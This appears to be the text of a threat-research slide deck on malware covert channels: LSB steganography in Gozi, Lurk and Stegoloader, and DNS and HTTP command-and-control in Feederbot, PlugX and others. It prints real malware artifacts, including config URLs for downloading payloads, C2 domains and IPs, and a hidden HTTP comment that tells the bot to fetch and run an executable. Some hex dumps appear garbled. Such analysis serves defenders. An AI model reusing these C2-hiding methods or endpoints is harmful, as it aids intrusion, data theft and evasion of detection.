Outline

1. Covert Channels
2. Steganography
   a. Lurk
   b. Gozi
   c. Stegoloader
3. Inconspicuous Carrier Protocols
   a. Feederbot
   b. PlugX
   c. Hiding in HTTP
4. Conclusions
Covert Channels and Malware -- Why?

- Receive commands from operator
- Send feedback to operator
- Receive updates and modules from operator
- Exfiltrate data
- Evade security
  - Intrusion detection
  - Antivirus
  - Incident response
  - Forensics analysis
**Covert Channels**
Capability to transfer information between two hosts, which are not explicitly allowed to communicate.

**Steganography**
The practice of concealing messages or information within other non-secret text or data.

**Carrier Protocol**
The underlying protocol of the C2 protocol, e.g. HTTP.
Malware involving unique C2 Channels

<table>
<thead>
<tr>
<th>Sophistication</th>
<th>C2 Technique</th>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>+</td>
<td>HTTP, possibly encrypted</td>
<td>Today’s average $botnet</td>
</tr>
<tr>
<td>++</td>
<td>Email, Removable Drives</td>
<td>FANCY BEAR/APT28, Stuxnet</td>
</tr>
<tr>
<td>+++</td>
<td>Steganography, Covert Channel</td>
<td>In this talk</td>
</tr>
</tbody>
</table>
Zeus KINS (Not Steganography)

00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c |......JFIF......,|
00000010 01 2c 00 00 ff ed 31 ec 50 68 6f 74 6f 73 68 6f p 3.0.8BIM......|
00000020 70 20 33 2e 30 00 38 42 49 4d 03 ed 00 00 00 00 |8BIM.......|
00000030 00 10 01 2c 00 00 00 01 00 01 01 2c 00 00 00 01 |.,.......,....|
00000040 00 01 38 42 49 4d 04 04 00 00 00 02 2c 1c 01 |8BIM.......|
00000050 5a 00 03 1b 25 47 1c 02 00 00 02 00 04 1c 02 05 |Z...%G...........|
00000060 00 06 53 65 72 76 65 72 1c 02 19 00 03 43 50 55 |..Server.....CPU|
00000070 1c 02 19 00 0c 67 6f 75 64 20 53 65 72 76 65 |......Cloud Serve|
00000080 72 1c 02 19 00 08 43 6f 6d 70 75 74 65 72 75 72 |r......Computer..|
00000090 19 00 12 60 77 65 72 76 65 72 74 65 72 20 45 71 |...Computer Equi|
000000a0 70 6d 6e 74 1c 02 19 00 0c 43 6f 6d 70 75 74 |pment.....Comput|
000000b0 65 72 20 4c 61 62 1c 02 19 00 10 43 6f 6d 70 75 |er Lab.....Compu|
000000c0 74 65 72 20 4e 65 74 77 6f 72 6b 1c 02 19 00 04 |ter Network.....|
000000d0 44 61 74 61 1c 02 19 00 0b 44 61 74 61 20 4d 69 |Data.....Data Mi|
Zeus KINS (Not Steganography)
Zeus KINS (Not Steganography)

```plaintext
{{VERSION}}
2.0.0.0
{{VERSION}}

{{BINARIES}}
http://146.185.243.71/googleAD/update.exe
{{END_BINARIES}}

{{VNC_PLUGIN}}
http://146.185.243.71/googleAD/mod_vnc.bin
{{END_VNC_PLUGIN}}

{{MODULE}}
http://146.185.243.71/googleAD/mod_spm.bin
{{MODULE}}

{{DROPZONES}}
http://146.185.243.71/googleAD/cde.php
{{END_DROPZONES}}

{{WEBFILTERS}}
!*.microsoft.com/* (monitor)
!http://*myspace.com* (monitor)
https://www.gruposantander.es/*
!http://*odnoklassniki.ru/* (monitor)
!http://vkontakte.ru/* (monitor)
@*/login.osmp.ru/* (Monitor and screenshots)
@*/atl.osmp.ru/* (Monitor and screenshots)
$http://www.apple.com/mac/
$http://digg.com/news*
{{END_WEBFILTERS}}
```
Gozi Neverquest
Gozi

- Appeared in 2007
- Aliases: Vawtrak, Neverquest
- Objectives: Banking fraud
- Characteristics
  - Process injection to change browser behavior
  - Password stealing
  - Remote access: VNC & SOCKS
  - Deletes browsing history to hide infection vector
Gozi C2 Channels

- HTTP POST
- Linear Congruential Generator
- aPlib compression
Gozi Covert Channels

- Steganography feature added beginning of 2015
- Downloads information in favicon.ico
  - SSL (https)
  - Tor (tor2web)
- Extracts information using LSB steganography
- Decrypts information using RC4
Least Significant Bit Steganography

\[ \begin{align*}
0 & 0 & 0 & 1 & 0 & 0 & 1 & 1 \\
0 & 1 & 1 & 0 & 0 & 0 & 1 & 1 \\
0 & 1 & 0 & 0 & 1 & 0 & 0 & 1 & 1
\end{align*} \]
Gozi’s Steganography

https://6hts7b7onuh653ha.tor2web.org/favicon.ico
Gozi decoded information

00000000 76 f6 27 fd c2 df 95 f6 62 ba 1b 2c d6 8a 75 be |v.'......b...u.|
00000010 c2 f3 bd f2 8b 99 92 3a 32 6d d7 92 30 6c 22 76 |........:2m.01"v|
00000020 b8 17 8d 5d c8 e7 89 22 da cc d3 67 55 55 30 e7 |[...]["...gUU0.|
00000030 70 eb 13 a7 d2 d7 a2 6d d2 47 29 ca df f6 13 2e |p.......m.G).|
00000040 a5 32 7f b4 2c 1e 12 3d 3d 4a a3 4f 4a c7 3e 9a |.2...==J.O.J.>|
00000050 41 6a 30 26 df a3 6c ec 52 4d 5d 6f a6 e3 be 27 |Aj0&.c.RM)o...|
00000060 9d 6c 8c 7d 9f 41 65 18 85 eb 61 27 9c 20 5f 46 |.l.}.Ae...a'. _F|
00000070 d4 f3 ee 07 67 56 e8 e1 59 70 47 0f 7e 79 df 41 |...gV..yPg~y.A|
00000080 44 6e 75 76 61 74 6f 7a 61 67 2e 73 75 00 78 65 |Dnuvatozag.su.xe|
00000090 65 62 61 6e 75 6b 2e 73 75 00 70 75 78 69 6c 6f |ebanuk.su.puxilo|
000000a0 6f 2e 73 75 00 6d 65 69 6c 6f 67 2e 6b 7a 00 |o.su.meicoog.kz.|
000000b0 6b 65 61 67 6e 74 6f 7a 61 67 2e 73 75 00 78 65 |keageeh.ru.labea|
000000c0 2e 73 75 00 00 00 00 00 00 00 00 00 00 00 00 00 |.su.....(a.8...|
000000d0 15 e1 fb 76 23 73 a4 13 fe ff ff ff d3 5d ff 76 |[...v#s........]v|
000000e0 e0 5a ff 76 2c 00 00 00 38 00 00 00 ca c7 7e 05 |.Z.v....8......~|
000000f0 c8 c7 7e 05 bc ec 9a 76 5c 04 3b 01 04 01 00 00 |.'~...v\.;......|
00000100 00 00 00 00 b1 02 00 00 00 00 00 00 00 00 00 00 |[.a.........v...v.|
00000110 28 c5 61 00 00 00 00 00 f8 b5 9a 76 14 04 76 00 |(.a........v...v.|
00000120 d0 f3 12 01 c4 f3 12 00 58 00 00 00 00 00 00 00 |[.a.........v...v.|

nuvatozag.su.
xe

17
Lurk
Lurk

- Downloader, used to install click fraud malware
- Distributed through exploit kits
- Hides download URLs in images using LSB steganography
- String obfuscation and XOR encoding for payloads
More Lurk Steganography
Stegoloader
Stegoloader

- Information stealer
- “Downloader” module
  - Spots analysis environment
  - Downloads image from legitimate websites
  - Extracts main module code from image
  - Launch main module code
- Creates a verbose profile of infected hosts
- Downloads modules, depending on host profiles
• Websites pretending to deliver key generators are used to distribute the malware
• New variants appear almost on a daily basis
Stegoloader Image Processing

- **PNG Image**
- **LSB extraction**
- **RC4 decryption**
- **Code**

```
push    ebp
mov     ebp, esp
sub     esp, 24h
push    esi
push    edi
push    14h
...```
- Resolve “funky” imports
- GetCursorPos()
- Dynamic construction of strings
- List running processes
Stegoloader Debug Reporting

55 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_39_page_ok
56 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_40_image_size_ok
57 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_41_image_type_ok
58 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_42_gdiplus_ok
59 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_43_image_ok
60 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_44_crc_ok
61 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_45_payload_ok
62 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_46_payload_size_ok
63 404 HTTP innonation.com.hk  
   /report_N_0024_405A197B534CD001-_47_payload_type_shell
64 404 HTTP innonation.com.hk /report_N_0024_405A197B534CD001-_48_payload_mem_ok
Stegolader Module Interaction

Deployment Module

Main Module

- Geolocation Module
- Recent Documents Module
- Password Stealer
- IDA License Stealer

Distraction (?) Payload

Monetization Payload
Stegoloader Network Communications

- HTTP POST
- RC4 Encryption
- Base64 Encoding
- LZMA Compression
Stegoloader “scenarios”

```json
-> 0x00
<- 0x03 SysInfos
-> 0x03   {"data": {"OsID":
<- 0xdc WindowsTimeStamp
-> 0xdc   {"WindowsTimeStamp": "
<- 0xdd WindowsInstallTimeStamp
-> 0xdd   {"WindowsInstallTimeStamp": "
<- 0xde WindowsPrefetchTimeStamp
-> 0xde   {"WindowsPrefetchTimeStamp":
<- 0xdf SwapTimeStamp?
-> 0xdf   {}
<- 0xe0 Unknown/Noop
-> 0xe0   {}
<- 0x64 Geoloc shellcode
-> 0x64   Geoloc result
<- 0x04 GetInstalledSoftware
-> 0x04   {"Software": "<base64>"...
<- 0x05 Browsing history
-> 0x05   empty
<- 0x06 Browsing history
-> 0x06   empty
<- 0xd2 GetSoftwareKeys
-> 0xd2   {"SoftwareKeysSystem": "
<- 0x64 Pony infostealer, size 38439
-> 0x64
<- 0x64 List recently opened documents, size 7344
-> 0x64
<- 0x01 Kill bot
-> 0x01 OK, killed
```
<table>
<thead>
<tr>
<th>Malware</th>
<th>Stego algo</th>
<th>File type</th>
<th>Compression</th>
<th>Crypto</th>
</tr>
</thead>
<tbody>
<tr>
<td>Gozi</td>
<td>LSB</td>
<td>ico</td>
<td>None</td>
<td>RC4</td>
</tr>
<tr>
<td>Lurk</td>
<td>LSB</td>
<td>bmp</td>
<td>None</td>
<td>Custom</td>
</tr>
<tr>
<td>Stegoloader</td>
<td>LSB</td>
<td>png</td>
<td>None</td>
<td>RC4</td>
</tr>
</tbody>
</table>
Covert Communication Channels
;QUESTION
ewcommunitybank.com. IN A

;ANSWER
newcommunitybank.com. 86400 IN A 74.54.82.153

;QUESTION
1.f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. IN ANY

;ANSWER
1.f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. 0 IN TXT "aYpYOob/6L5NRMxDRbwQDrVfPJdw5yogih+zlfj+1QpRDPZE4n1DWB0M/10J6YDp88Vgm"
Why DNS for C2?

- No specific detection for the DNS protocol
  - Existing DNS-based protection means target domain names resolved via DNS, but rarely DNS traffic in general
  - (Syntactically valid) DNS with third-party resolvers often allowed
- Often unfiltered
  - Even in firewalled environments, DNS often allowed and unfiltered
- Designed as a distributed system
  - Provides advantages to the malware operator

Grandjean, Martin (2014). "La connaissance est un réseau"
Feederbot - A botnet with DNS C2

- Initially discovered in 2010
- Named Feederbot based on a characteristic string “feedme” in the binary
- Performs ad/click fraud
- Implements a covert channel via DNS
- Several query domain schemes
- Well-known registered domains and unregistered domains
- Distributed infrastructure, spread over multiple Autonomous Systems
;QUESTION
1.f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. IN ANY

;ANSWER
1.f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4.google.com. 0 IN TXT "aYpYoB/6L5NRMxDRbwQDrVfPJw5yogih+zlffj+1QpRPZE4n1DWB0M/10J6YDp88Vgm"

- 50-char system-dependent bot ID: 
  f16e180e9093c237ea31a4ab55ae7fac710a14e4972b30fdf4

- RC4-encrypted bootstrap traffic
  0000  8E 68 00 00 0B 00 00 00 17 00 00 00 39 34 2E 32 .h...........94.2
  0010  33 2E 36 2E 36 37 00 69 6D 61 67 65 73 2E 6D 6F 3.6.67.images.mo
  0020  76 69 65 64 79 65 61 72 2E 6E 65 74 65 73 2E 6D 74 viedyear.net..<

- Contains a referral to the next C2 server node 94.23.6.67
Feederbot DNS C2 referral

- Basically a referral to a subsequent C2 server node 94.23.6.67
- First DWORD is a magic value used to query subsequent C2 nodes: 0x688e (26766)
- Second DWORD is the length of the next C2 server string (0xB, 11 chars)
- Third DWORD is the length of the domain for subsequent C2 queries (0x17, 23 chars)
- Subsequent C2:

```dns
; QUESTION
0.26766.images.moviedyear.net. IN TXT
```
Feederbot C&C message structure

- Inside the rdata field of a DNS response carrying a TXT resource record
- Maximum length of 220 bytes per message (chunking)
- Lots of different RC4 keys
PlugX DNS C2

- DNS C2 channel (XSoDNS)
- Base16 encoding with custom alphabet
- Randomness in the first few bytes for each request
- Byte at offset 3 is always 0x1e (decimal 30)
- In the encoded query domain: ‘OB’ at offset 6

"The length of any one label is limited to between 1 and 63 octets. A full domain name is limited to 255 octets (including the separators)."

RFC2181
Hiding commands in HTTP error messages

HTTP/1.1 404 Not Found
Date: Mon, 9 Jul 2015 06:13:37 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.29
Vary: Accept-Encoding,User-Agent
Content-Length: 357
Connection: close
Content-Type: text/html; charset=utf8

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /XXX/YYYY.php was not found on this server.<P><HR><ADDRESS></ADDRESS></BODY></HTML><!-- DEBUG: MTQyODUyMTUyMzcyOTk5MyNsb2FkZXIgaHR0cDovLzExMS4xNzkuMzkuODMvZ29sZGVuMy51eGUjMTQyODUxMjA2MTc1NDYzNSNyYXR1IDYwIwDEBUG-->
Hiding commands in HTTP error messages

HTTP/1.1 404 Not Found
Date: Mon, 9 Jul 2015 06:13:37 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.29
Vary: Accept-Encoding,User-Agent
Content-Length: 357
Connection: close
Content-Type: text/html; charset=utf8

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /XXX/YYYY.php was not found on this server. <P><HR><ADDRESS></ADDRESS></BODY></HTML><!-- DEBUG:
MTQyODUyMTUyMzcyOTk5MyNsb2FkZXIgQHR0cDovLzExMS4xNzkuMzkuODMvZ29sZGVuMy5ieGUjMTQyODUxMjA2MTc1NDYzNSNyYXRlIDYwIw-- DEBUG-->

1428521523729993#loader http://111.179.39.83/golden3.exe#1428512061754635#rate 60#
Conclusions
Conclusions

- Real-world examples, used in cybercriminal and targeted activities
- Covert channels are used for malware C2 under certain conditions
  - If used with cryptography
  - And for small messages
- Protocols that consume bandwidth might serve better to encode significant amounts of information
- Unidirectional communication at this point
- Leveraging benign infrastructure for C2 or malware storage
- Covert channels involving steganography or hiding messages in carrier protocols makes C2 channels more difficult to detect
Thank you!

Special thanks to:
Tillmann Werner
Brett Stone-Gross
Pallav Khandar
Jesse Gabriel

- Hidden communication channels are currently being used in all kinds of malware including information stealers, RATs, DDoS tools and malware downloaders
- Cyber criminals and nation state actors hide malicious communication using steganography and inconspicuous carrier protocols
- Hidden communication channels are designed to be hard to identify, both for researchers and automated tools
References

- http://blog.crowdstrike.com/storm-chasing/
- http://www.cj2s.de/On-Botnets-that-use-DNS-for-Command-and-Control.pdf
- http://cuing.org/